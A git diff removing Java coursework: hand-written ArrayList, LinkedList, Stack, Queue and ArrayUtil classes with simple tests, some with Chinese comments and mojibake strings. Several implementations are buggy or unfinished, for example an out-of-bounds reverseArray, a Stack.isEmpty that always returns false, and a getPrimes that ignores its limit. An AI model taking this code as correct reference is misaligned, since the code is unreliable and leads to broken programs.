-			Node next = head;
-			head = new Node();
-			head.next = next;
-			head.data = o;
-			node = head;//当前节点为head
-			this.point = index;
-			size++;
-			return;
-		}
-		do{
-			if(index==(this.point+1)){
-				pointlast(index, o);
-				return;
-			}
-			node = node.next;
-			this.point++;
-		}while(index>(this.point+1));
-		
-	}
-
-	private void pointlast(int index, Object o) {
-		if(index==(this.point+1)){
-			if(index==size){//index插入List结尾
-				this.point = this.point+1;
-				node = node.next;
-				node.data=o;
-				node.next = new Node();
-				size++;
-				return;
-			}
-			this.point = this.point+1;
-			Node next = node.next;//从上一个node获取下一个node
-			node.next = new Node();//上一个节点指向新建节点
-			node = node.next;//获取新建节点
-			node.data=o;//新建节点获取值
-			node.next = next;//新建节点指向下一个节点
-			size++;
-			return;
-		}
-	}
-	
-	/**
-	 * 把该链表逆置
-	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-	 */
-	public  void reverse(){		
-		
-	}
-	
-	/**
-	 * 删除一个单链表的前半部分
-	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-
-	 */
-	public  void removeFirstHalf(){
-		
-	}
-	
-	/**
-	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-	 * @param i
-	 * @param length
-	 */
-	public  void remove(int i, int length){
-		
-	}
-	/**
-	 * 假定当前链表和listB均包含已升序排列的整数
-	 * 从当前链表中取出那些listB所指定的元素
-	 * 例如当前链表 = 11->101->201->301->401->501->601->701
-	 * listB = 1->3->4->6
-	 * 返回的结果应该是[101,301,401,601]  
-	 * @param list
-	 */
-	public  int[] getElements(LinkedList list){
-		return null;
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 从当前链表中中删除在listB中出现的元素 
-
-	 * @param list
-	 */
-	
-	public  void subtract(LinkedList list){
-		
-	}
-	
-	/**
-	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-	 */
-	public  void removeDuplicateValues(){
-		
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-	 * @param min
-	 * @param max
-	 */
-	public  void removeRange(int min, int max){
-		
-	}
-	
-	/**
-	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-	 * @param list
-	 */
-	public  LinkedList intersection( LinkedList list){
-		return null;
-	}
-}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedListiterator.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedListiterator.java
deleted file mode 100644
index c04de32a93..0000000000
--- a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedListiterator.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.skomefen.list;
-
-public class LinkedListiterator implements Iterator {
-
-	private LinkedList link = null;
-	private int index = 0;
-	public LinkedListiterator(LinkedList link) {
-		this.link = link;
-	}
-	public boolean hasNext() {
-		if(link==null){
-			return false;
-		}
-		if(index<link.size()){
-			return true;
-		}
-		return false;
-	}
-
-	public Object next() {
-	
-		return link.get(index++);
-		
-	}
-}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/List.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/List.java
deleted file mode 100644
index bccc479faf..0000000000
--- a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/List.java
+++ /dev/null
@@ -1,9 +0,0 @@
-package com.skomefen.list;
-
-public interface List {
-	public void add(Object o);
-	public void add(int index, Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Queue.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Queue.java
deleted file mode 100644
index 197bf72cbe..0000000000
--- a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Queue.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package com.skomefen.list;
-
-public class Queue {
-	ArrayList elementData = new ArrayList(); 
-	public void enQueue(Object o){	
-		elementData.add(o);
-	}
-	
-	public Object deQueue(){
-		
-		if(elementData.size()!=0)
-			return elementData.remove(0);
-		return null;
-		
-	}
-	
-	public boolean isEmpty(){
-		if(elementData.size()==0)
-			return true;
-		return false;
-	}
-	
-	public int size(){
-		return elementData.size();
-	}
-}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Stack.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Stack.java
deleted file mode 100644
index 088058fa3b..0000000000
--- a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Stack.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.skomefen.list;
-
-
-public class Stack {
-	private ArrayList elementData = new ArrayList();
-	
-	public void push(Object o){		
-		elementData.add(o);
-	}
-	
-	public Object pop(){
-		return elementData.remove(elementData.size()-1);
-	}
-	
-	public Object peek(){
-		return elementData.get(elementData.size()-1);
-	}
-	public boolean isEmpty(){
-		if(elementData.size()==0)
-			return true;
-		return false;
-	}
-	public int size(){
-		return elementData.size();
-	}
-	
-	
-}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/test/test.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/test/test.java
deleted file mode 100644
index dd10439beb..0000000000
--- a/group23/1072760797-skomefen/day3-11/src/com/skomefen/test/test.java
+++ /dev/null
@@ -1,109 +0,0 @@
-package com.skomefen.test;
-
-import static org.junit.Assert.*;
-
-import org.junit.Test;
-
-import com.skomefen.list.ArrayList;
-import com.skomefen.list.Iterator;
-import com.skomefen.list.LinkedList;
-import com.skomefen.list.Queue;
-import com.skomefen.list.Stack;
-
-
-
-
-
-
-public class test {
-
-	@Test
-	public void arrayListTest() {
-		ArrayList array = new ArrayList();
-		for(int i=0;i<200;i++){
-			array.add(""+i);
-		}
-		System.out.println(array);
-		for(int i=0;i<200;i++){
-			array.add(i,""+(i+1));
-		}
-		System.out.println(array);
-
-		array = new ArrayList();
-		array.add(1);
-		array.add(3);
-		array.add(4);
-
-		array.add(1,2);
-		System.out.println(array);
-		System.out.println(array.get(2));
-		System.out.println(array.size());
-
-		System.out.println(array.remove(2));
-		System.out.println(array);
-		
-		Iterator iterator = array.iterator();
-		while(iterator.hasNext()){
-			System.out.println(iterator.next());
-		}
-	}
-	
-	@Test
-	public	void StackTest(){
-		Stack s = new Stack();
-		System.out.println(s.isEmpty());
-		s.push("1");
-		s.push("2");
-		s.push("3");
-		System.out.println(s.peek());		
-		System.out.println(s.size());
-
-		System.out.println(s.pop());
-		System.out.println(s.peek());
-		System.out.println(s.size());
-		System.out.println(s.isEmpty());
-		
-
-	}
-	
-	@Test
-	public void QueueTest(){
-		Queue queue = new Queue();
-		queue.enQueue(1);
-		queue.enQueue(2);
-		queue.enQueue(3);
-		
-		assertEquals(false,queue.isEmpty());
-		assertEquals(3, queue.size());
-		assertEquals(1,queue.deQueue());
-		assertEquals(2,queue.deQueue());
-		assertEquals(1, queue.size());
-		assertEquals(3,queue.deQueue());
-		assertEquals(true,queue.isEmpty());
-
-	}
-	
-	@Test
-	public void LinkedListTest(){
-		LinkedList link = new LinkedList();
-		for(int i=0;i<10;i++){
-			link.add(""+i);
-		}
-		for(int i=0;i<10;i++){
-			System.out.println(link.get(i));
-		}
-		System.out.println(link);
-		System.out.println(link.remove(0));
-		System.out.println(link.remove(1));
-		Iterator iterator = link.iterator();
-		while(iterator.hasNext()){
-			System.out.print(iterator.next()+",");
-		}
-		link.add(0,1.1);
-		link.add(1,1.2);
-		System.out.println(link);
-		
-		
-		
-	}
-}
diff --git a/group23/1072760797-skomefen/day3-19/src/com/coderising/array/ArrayUtil.java b/group23/1072760797-skomefen/day3-19/src/com/coderising/array/ArrayUtil.java
deleted file mode 100644
index f1d0af35b9..0000000000
--- a/group23/1072760797-skomefen/day3-19/src/com/coderising/array/ArrayUtil.java
+++ /dev/null
@@ -1,117 +0,0 @@
-package com.coderising.array;
-
-public class ArrayUtil {
-	
-	/**
-	 * 给定一个整形数组a , 对该数组的值进行置换
-		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
-		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
-	 * @param origin
-	 * @return
-	 */
-	public void reverseArray(int[] origin){
-		int[] reverse = new int[origin.length];
-		for(int i=0;i<reverse.length;i++){
-			reverse[i]=origin[origin.length-i];
-		}
-		for(int i=0;i<reverse.length;i++){
-			reverse[i]=origin[i];
-		}
-	}
-	
-	/**
-	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
-	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
-	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
-	 * @param oldArray
-	 * @return
-	 */
-	
-	public int[] removeZero(int[] oldArray){
-		int rz[]=null;
-		int index = 0;
-		for(int i=0;i<oldArray.length;i++){
-			if(oldArray[i]!=0){
-				index++;
-			}
-		}
-		rz = new int[index];
-		index=0;
-		for(int i=0;i<oldArray.length;i++){
-			if(oldArray[i]!=0){
-				rz[index]=oldArray[i];
-				index++;
-			}
-		}
-		return rz;
-	}
-	
-	/**
-	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
-	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
-	 * @param array1
-	 * @param array2
-	 * @return
-	 */
-	
-	public int[] merge(int[] array1, int[] array2){
-		return  null;
-	}
-	/**
-	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-	 * 注意，老数组的元素在新数组中需要保持
-	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-	 * [2,3,6,0,0,0]
-	 * @param oldArray
-	 * @param size
-	 * @return
-	 */
-	public int[] grow(int [] oldArray,  int size){
-		return null;
-	}
-	
-	/**
-	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
-	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
-	 * max = 1, 则返回空数组 []
-	 * @param max
-	 * @return
-	 */
-	public int[] fibonacci(int max){
-		return null;
-	}
-	
-	/**
-	 * 返回小于给定最大值max的所有素数数组
-	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
-	 * @param max
-	 * @return
-	 */
-	public int[] getPrimes(int max){
-		return null;
-	}
-	
-	/**
-	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
-	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
-	 * @param max
-	 * @return
-	 */
-	public int[] getPerfectNumbers(int max){
-		return null;
-	}
-	
-	/**
-	 * 用seperator 把数组 array给连接起来
-	 * 例如array= [3,8,9], seperator = "-"
-	 * 则返回值为"3-8-9"
-	 * @param array
-	 * @param s
-	 * @return
-	 */
-	public String join(int[] array, String seperator){
-		return null;
-	}
-	
-
-}
diff --git a/group23/1072760797-skomefen/day3-19/src/com/coderising/litestruts/StrutsTest.java b/group23/1072760797-skomefen/day3-19/src/com/coderising/litestruts/StrutsTest.java
deleted file mode 100644
index 847b3ae7d4..0000000000
--- a/group23/1072760797-skomefen/day3-19/src/com/coderising/litestruts/StrutsTest.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package com.coderising.litestruts;
-
-
-
-
-import java.util.HashMap;
-import java.util.Map;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-
-
-
-
-
-
-
-
-public class StrutsTest {
-
-	@Test
-	public void testLoginActionSuccess() {
-		
-		String actionName = "login";
-        
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","1234");
-        
-       
-	
-        View view = Struts.runAction(actionName,params);
-	 
-        
-        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-        Assert.assertEquals("login successful", view.getParameters().get("message"));
-	}
-
-	@Test
-	public void testLoginActionFailed() {
-		String actionName = "login";
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","123456"); //密码和预设的不一�?
-        
-
-        View view = Struts.runAction(actionName,params);
-	   
-        
-        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
-	}
-}
diff --git a/group23/1246614258/src/com/coding/datastructs/ArrayList.java b/group23/1246614258/src/com/coding/datastructs/ArrayList.java
deleted file mode 100644
index bf8da9cccc..0000000000
--- a/group23/1246614258/src/com/coding/datastructs/ArrayList.java
+++ /dev/null
@@ -1,98 +0,0 @@
-package com.coding.datastructs;
-
-import java.util.ConcurrentModificationException;
-import java.util.NoSuchElementException;
-
-
-public class ArrayList implements List {
-	
-	private int size = 0;
-	
-	private Object[] elementData = null;
-	
-	public ArrayList(){
-		size=0;
-		elementData=new Object[10];
-	}
-	
-	public void add(Object o){
-		size();
-		elementData=grow(elementData,1);
-		elementData[size] = o;
-	}
-	public void add(int index, Object o){
-		 size();
-		if (index >size || index < 0||index == size)
-		    throw new IndexOutOfBoundsException(
-			"Index: "+index+", Size: "+size);
-		Object temp = elementData;
-		elementData=grow(elementData,1);  // Increments modCount!!
-		System.arraycopy(temp, index, elementData, index + 1,
-				 size - index);
-		elementData[index] = o;
-	}
-	
-	public Object get(int index){
-		size();
-		if (index > size || index < 0 ||index == size)
-		    throw new IndexOutOfBoundsException(
-			"Index: "+index+", Size: "+size);
-		return elementData[index];
-	}
-	
-	public Object remove(int index){
-		size();
-		if (index > size || index < 0 ||index == size)
-		    throw new IndexOutOfBoundsException(
-			"Index: "+index+", Size: "+size);
-		Object tempData = elementData[index];
-		System.arraycopy(elementData, index+1, elementData, index,
-				 size - index);
-		return tempData;
-	}
-	
-	public int size(){
-		for(int i=0;i<elementData.length;i++){
-			if(null==elementData[i]){
-				size=i;
-				break;
-			}
-		}
-		return size;
-	}
-	public static Object[] grow(Object[] src,int size){
-		Object[] target = new Object[src.length+size];
-		System.arraycopy(src, 0, target, 0, src.length);
-		return target;
-	} 
-	public Iterator iterator(){
-		return new Itera();
-	}
-	private class Itera implements Iterator{
-		int cursor; 
-		int lastRet = -1; 
-
-		
-		public boolean hasNext() {
-			size();
-			// TODO Auto-generated method stub
-			return cursor!=size;
-		}
-		public Object next() {
-			// TODO Auto-generated method stub
-			int i = cursor;
-            if (i >= size)
-                throw new NoSuchElementException();
-            Object[] elementData = ArrayList.this.elementData;
-            if (i >= elementData.length)
-                throw new ConcurrentModificationException();
-            cursor = i + 1;
-            return  elementData[lastRet = i];
-		}
-
-		
-}
-	
-	
-	
-}
diff --git a/group23/1246614258/src/com/coding/datastructs/Iterator.java b/group23/1246614258/src/com/coding/datastructs/Iterator.java
deleted file mode 100644
index 56acec15a3..0000000000
--- a/group23/1246614258/src/com/coding/datastructs/Iterator.java
+++ /dev/null
@@ -1,7 +0,0 @@
-package com.coding.datastructs;
-
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-
-}
diff --git a/group23/1246614258/src/com/coding/datastructs/LinkedList.java b/group23/1246614258/src/com/coding/datastructs/LinkedList.java
deleted file mode 100644
index cd5de44121..0000000000
--- a/group23/1246614258/src/com/coding/datastructs/LinkedList.java
+++ /dev/null
@@ -1,229 +0,0 @@
-package com.coding.datastructs;
-
-public class LinkedList implements List{
-
-	private Node head;
-	private int size ;
-
-	public LinkedList() {
-		size = 0;
-		head=new Node();
-	}
-
-	public void add(Object o) {
-		Node pnew = new Node();
-		pnew.setData(o);
-		pnew.next = null;
-		if(null==head.getNext()){
-			head.setNext(pnew);
-			return;
-		}
-		Node ptr = head.getNext();
-		Node ptr1 = new Node();
-		
-		while (ptr != null) {
-			ptr1 = ptr;
-			ptr = ptr.getNext();
-		}
-		ptr1.next = pnew;
-
-	}
-
-	public void add(int index, Object o) {
-		size();
-		if (index > size || index < 0)
-			throw new IndexOutOfBoundsException("Index: " + index + ", Size: "
-					+ size);
-		Node ptr;
-		Node ptemp = new Node();
-		;
-		Node pnew;// ʵ�����½ڵ�
-		ptr = head.getNext();
-		int i = 0;
-		if (ptr == null && size == 0) {
-			System.out.println("��������ʧ�ܣ�");
-		}
-		while (ptr != null) {
-			ptemp = ptr;
-			if (index == 0) {
-				pnew = new Node();
-				pnew.setData(o);
-				pnew.setNext(ptr);
-				head.setNext(pnew);
-				break;
-			}
-			if (index == i && index > 0) {
-				ptemp = getNode(i-1);
-				pnew = new Node();
-				pnew.setData(o);
-				pnew.setNext(ptr);
-				ptemp.setNext(pnew);//
-				System.out.println("��������" + o + "�ɹ���");
-				break;
-			}
-			ptr = ptr.getNext();
-			i++;
-		}
-		if (ptr == null && size > 0) {
-			pnew = new Node();
-			pnew.setData(o);
-			pnew.setNext(null);
-			ptemp.setNext(pnew);//
-			System.out.println("��������" + o + "�ɹ���");
-		}
-
-	}
-
-	public Object get(int index) {
-		size();
-		if (index > size || index < 0 || index == size)
-			throw new IndexOutOfBoundsException("Index: " + index + ", Size: "
-					+ size);
-		Node ptr = head.getNext();
-		Object tempData = null;
-		int i = 0;
-		while (ptr != null) {
-			if (index == i) {
-				tempData = ptr.getData();
-			}
-			ptr = ptr.getNext();
-			i++;
-		}
-
-		return tempData;
-	}
-
-	public Node getNode(int index) {
-		size();
-		if (index > size || index < 0 || index == size)
-			throw new IndexOutOfBoundsException("Index: " + index + ", Size: "
-					+ size);
-		Node ptr = head.getNext();
-		Node tempData = null;
-		int i = 0;
-		while (ptr != null) {
-			if (index == i) {
-				tempData = ptr;
-			}
-			ptr = ptr.getNext();
-			i++;
-		}
-
-		return tempData;
-	}
-
-	public Object remove(int index) {
-		size();
-		if(size()==0){
-			throw new NullPointerException("list�ڲ�Ϊ�գ�����ɾ������");
-		}
-		if (index > size || index < 0 || index == size)
-			throw new IndexOutOfBoundsException("Index: " + index + ", Size: "
-					+ size);
-		Node ptr = head.getNext();
-		Node ptrNext = new Node();
-		Object tempData = null;
-		int i = 0;
-		while (ptr != null) {
-			if (index == 0) {
-				ptrNext = ptr.getNext();
-				head.setNext(ptrNext);
-				break;
-			}
-			if (index == i && index > 0) {
-				Node ptrprevious = getNode(i - 1);
-				tempData = ptr.getData();
-				ptrprevious.setNext(ptr.getNext());
-				break;
-			}
-			ptr = ptr.getNext();
-			i++;
-		}
-		return tempData;
-	}
-
-	public int size() {
-		int i = 0;
-		Node ptr = head.getNext();
-		while (ptr != null) {
-			ptr = ptr.getNext();
-			i++;
-		}
-		size = i;
-		return size;
-	}
-
-	public void addFirst(Object o) {
-		add(0,o);
-
-	}
-
-	public void addLast(Object o) {
-		/*Node ptr = head.getNext();
-		Node pnew = new Node();
-		pnew.setData(o);
-		Node ptemp = new Node();
-		if (ptr == null) {
-			head.setNext(pnew);
-		} else {
-			while (ptr != null) {
-				ptemp = ptr;
-				ptr = ptr.getNext();
-			}
-			if (ptr == null) {
-				ptemp.setNext(pnew);
-			}
-		}*/
-		add(size(),o);
-
-	}
-
-	public Object removeFirst() {
-		Node ptr = head.getNext();
-		Object temp = null;
-		if (ptr == null) {
-			throw new NullPointerException("LinkedList���������ݣ����ܽ���ɾ������");
-		} else {
-			temp = ptr.getData();
-			remove(0);
-		}
-
-		return temp;
-	}
-
-	public Object removeLast() {
-		size();
-		Node ptr = head.getNext();
-		Object temp = null;
-		if (ptr == null) {
-			throw new NullPointerException("LinkedList���������ݣ����ܽ���ɾ������");
-		} else {
-			temp = remove(size - 1);
-		}
-
-		return temp;
-	}
-
-	private static class Node {
-		Object data;
-		Node next;
-
-		public Object getData() {
-			return data;
-		}
-
-		public void setData(Object data) {
-			this.data = data;
-		}
-
-		public Node getNext() {
-			return next;
-		}
-
-		public void setNext(Node next) {
-			this.next = next;
-		}
-
-	}
-
-}
diff --git a/group23/1246614258/src/com/coding/datastructs/List.java b/group23/1246614258/src/com/coding/datastructs/List.java
deleted file mode 100644
index 35ece31ca6..0000000000
--- a/group23/1246614258/src/com/coding/datastructs/List.java
+++ /dev/null
@@ -1,9 +0,0 @@
-package com.coding.datastructs;
-
-public interface List {
-	public void add(Object o);
-	public void add(int index, Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-}
diff --git a/group23/1246614258/src/com/coding/datastructs/MyIterator.java b/group23/1246614258/src/com/coding/datastructs/MyIterator.java
deleted file mode 100644
index be827a7875..0000000000
--- a/group23/1246614258/src/com/coding/datastructs/MyIterator.java
+++ /dev/null
@@ -1,35 +0,0 @@
-package com.coding.datastructs;
-
-import java.util.Iterator;
-
-public class MyIterator {
-	public Iterator iterator(){
-		return null;
-	}
-	private class Itera implements Iterator<Object>{
-		int cursor; 
-		int lastRet = -1; 
-
-		@Override
-		public boolean hasNext() {
-			// TODO Auto-generated method stub
-			return false;
-		}
-
-		@Override
-		public Object next() {
-			// TODO Auto-generated method stub
-			return null;
-		}
-
-		@Override
-		public void remove() {
-			// TODO Auto-generated method stub
-			
-		}
-
-		
-		
-	}
-	
-}
diff --git a/group23/1246614258/src/com/coding/datastructs/Queue.java b/group23/1246614258/src/com/coding/datastructs/Queue.java
deleted file mode 100644
index 4e36db418a..0000000000
--- a/group23/1246614258/src/com/coding/datastructs/Queue.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.coding.datastructs;
-	public class Queue{
-		private LinkedList list = new LinkedList();
-		
-		public void enQueue(Object o){	
-			list.add(o);
-		}
-		
-		public Object deQueue(){
-			if (list.size()<=0) {
-				throw new NullPointerException("Queue���������ݣ����ܽ���ɾ������");
-			}
-			Object o = list.get(0);
-			list.removeFirst();
-			return o;
-		}
-		
-		public boolean isEmpty(){
-			int count = size();
-			if(count<0){
-				return true;
-			}
-			return false;
-		}
-		
-		public int size(){
-			return list.size();
-		}
-	}
-
diff --git a/group23/1246614258/src/com/coding/datastructs/Stack.java b/group23/1246614258/src/com/coding/datastructs/Stack.java
deleted file mode 100644
index 269f3c900e..0000000000
--- a/group23/1246614258/src/com/coding/datastructs/Stack.java
+++ /dev/null
@@ -1,33 +0,0 @@
-package com.coding.datastructs;
-
-public class Stack {
-	private ArrayList elementData = new ArrayList();
-	
-	public void push(Object o){	
-		elementData.add(o);
-	}
-	
-	public Object pop(){
-		if (elementData.size()<=0) {
-			throw new NullPointerException("Stack���������ݣ����ܽ���ɾ������"); 
-		}
-		Object data = elementData.get(elementData.size()-1);
-		elementData.remove(size()-1);
-		return data;
-	}
-	
-	public Object peek(){
-		Object data = elementData.get(elementData.size()-1);
-		return data;
-	}
-	public boolean isEmpty(){
-		if(elementData.size()>0){
-			return false;
-		}else{
-			return false;	
-		}
-	}
-	public int size(){
-		return elementData.size();
-	}
-}
diff --git a/group23/1246614258/src/com/coding/test/ArrayListTest.java b/group23/1246614258/src/com/coding/test/ArrayListTest.java
deleted file mode 100644
index 76ba571c78..0000000000
--- a/group23/1246614258/src/com/coding/test/ArrayListTest.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coding.test;
-import com.coding.datastructs.ArrayList;
-import com.coding.datastructs.Iterator;
-
-
-public class ArrayListTest {
-
-	/**
-	 * <p>Description:</p>
-	 * @param args
-	 * @author:Wilson huang
-	 * @date 2017-3-12����12:08:10
-	 */
-	public static void main(String[] args) {
-		// TODO Auto-generated method stub
-		ArrayList aa = new ArrayList();
-		aa.add("aa");
-		aa.add("bb");
-		aa.add("cc");
-		//aa.remove(3);
-		aa.add(2, "44");
-		for(int i=0;i<aa.size();i++){
-			System.out.println(aa.get(i));
-		}
-		Iterator it = aa.iterator();
-		while(it.hasNext()){
-			System.out.println(it.next());
-		}
-
-	}
-
-}
diff --git a/group23/1246614258/src/com/coding/test/LinkedListTest.java b/group23/1246614258/src/com/coding/test/LinkedListTest.java
deleted file mode 100644
index 4dfc329f05..0000000000
--- a/group23/1246614258/src/com/coding/test/LinkedListTest.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coding.test;
-import com.coding.datastructs.LinkedList;
-
-
-public class LinkedListTest {
-
-	/**
-	 * <p>Description:</p>
-	 * @param args
-	 * @author:Wilson huang
-	 * @date 2017-3-12����1:45:58
-	 */
-	
-	public static void main(String[] args) {
-		// TODO Auto-generated method stub
-		LinkedList list = new LinkedList();
-		list.add("a");
-		list.add("b");
-		list.add("c");
-		list.add("d");
-		list.removeLast();
-		for(int i=0;i<list.size();i++){
-			System.out.println(list.get(i));
-			
-		}
-	}
-
-}
diff --git a/group23/1246614258/src/com/coding/test/QueueTest.java b/group23/1246614258/src/com/coding/test/QueueTest.java
deleted file mode 100644
index c9ec4fbf65..0000000000
--- a/group23/1246614258/src/com/coding/test/QueueTest.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.coding.test;
-import com.coding.datastructs.Queue;
-
-
-public class QueueTest {
-
-	/**
-	 * <p>Description:</p>
-	 * @param args
-	 * @author:Wilson huang
-	 * @date 2017-3-12����2:42:15
-	 */
-	public static void main(String[] args) {
-		// TODO Auto-generated method stub
-		Queue q = new Queue();
-		q.enQueue("a");
-		q.enQueue("b");
-		System.out.println(q.deQueue());
-
-	}
-
-}
diff --git a/group23/1246614258/src/com/coding/test/StackTest.java b/group23/1246614258/src/com/coding/test/StackTest.java
deleted file mode 100644
index 41f2a15b5b..0000000000
--- a/group23/1246614258/src/com/coding/test/StackTest.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.coding.test;
-import com.coding.datastructs.Stack;
-
-
-public class StackTest {
-
-	/**
-	 * <p>Description:</p>
-	 * @param args
-	 * @author:Wilson huang
-	 * @date 2017-3-12����2:34:15
-	 */
-	public static void main(String[] args) {
-		// TODO Auto-generated method stub
-		Stack a = new Stack();
-		a.push("a");
-		a.push("b");
-		a.push("c");
-		System.out.println(a.isEmpty());
-		System.out.println(a.peek());
-		System.out.println(a.pop());
-
-	}
-
-}
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/datastructs/ArrayUtil.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/datastructs/ArrayUtil.java"
deleted file mode 100644
index ff773dffcc..0000000000
--- "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/datastructs/ArrayUtil.java"
+++ /dev/null
@@ -1,141 +0,0 @@
-/**
- * 
- */
-package com.coding.datastructs;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.Set;
-
-
-public class ArrayUtil {
-	
-	
-	public void reverseArray(int[] origin){
-		for (int i=0; i<origin.length/2; i++) {
-            int temp = origin[i];
-            origin[i] = origin[origin.length-1-i];
-            origin[origin.length-1-i] = temp;
-    }
-	}
-	
-	
-	
-	public int[] removeZero(int[] oldArray){
-		int count=0;
-		for(int i=0;i<oldArray.length;i++){
-			if(oldArray[i]!=0){
-				oldArray[count++]=oldArray[i];
-			}else{
-				continue;
-			}
-		}
-		return Arrays.copyOfRange(oldArray, 0, count);
-	}
-	
-	
-	
-	public int[] merge(int[] array1, int[] array2){
-		int length = array1.length+array2.length;
-		int[] newArray = new int[length];
-		System.arraycopy(array1, 0, newArray, 0,array1.length);
-		System.arraycopy(array2, 0, newArray, array1.length,array2.length);
-		Set<Integer> temp = new HashSet<Integer>();
-		for(Integer i : newArray)
-			temp.add(i); 
-        for (int i = 0; i < temp.size(); i++) {  
-        	newArray[i]=(int)temp.toArray()[i];
-        }
-        Arrays.sort(Arrays.copyOfRange(newArray, 0, temp.size()));
-		return  Arrays.copyOfRange(newArray, 0, temp.size());
-	}
-	
-	public int[] grow(int [] oldArray,  int size){
-			int[] target = new int[oldArray.length+size];
-			System.arraycopy(oldArray, 0, target, 0, oldArray.length);
-			return target;
-	}
-	
-	
-	public int[] fibonacci(int max){
-		ArrayList<Integer> list = new ArrayList<Integer>();
-        list.add(1);
-        list.add(1);
-        if(max<=1){
-        	return new int[0];
-        }
-        for (int i = 2; i < max; i++) {
-        	int a = list.get(i-1)+list.get(i-2);
-            if(a<max){
-            	list.add(a);
-            }else{
-            	break;
-            }
-        }
-        int[] newArray = new int[list.size()];
-        for(int i=0;i<list.size();i++){
-        	newArray[i]=(int)list.get(i);
-        }
-		return newArray;
-	}
-	
-	
-	public int[] getPrimes(int max){
-		ArrayList<Integer> list = new ArrayList<Integer>();
-		int j=1;
-		for(int i=2;i<100;i++){
-			j=i;
-			while(j>0){
-				if(i%j==0&&i!=j&&j!=1){
-					break;
-				}else{
-					j--;
-				}
-			}
-			if(j==0){
-				list.add(i);
-			}
-		}
-		int[] newArray = new int[list.size()];
-        for(int i=0;i<list.size();i++){
-        	newArray[i]=(int)list.get(i);
-        }
-		return newArray;
-	}
-	
-	
-	public int[] getPerfectNumbers(int max){
-		ArrayList<Integer> list = new ArrayList<Integer>();
-		for(int i = 1; i < max; i++)  
-        {  
-            int sum = 0;  
-            for(int j = 1; j < i; j++)  
-            {  
-                if(i % j == 0)  
-                {  
-                    sum = sum + j;    
-                }     
-            }  
-            if(sum == i)  
-            {  
-                list.add(i);  
-            }   
-        }
-		int[] newArray = new int[list.size()];
-        for(int i=0;i<list.size();i++){
-        	newArray[i]=(int)list.get(i);
-        }
-		return newArray;
-	}
-	
-	public String join(int[] array, String seperator){
-		StringBuilder str = new StringBuilder();
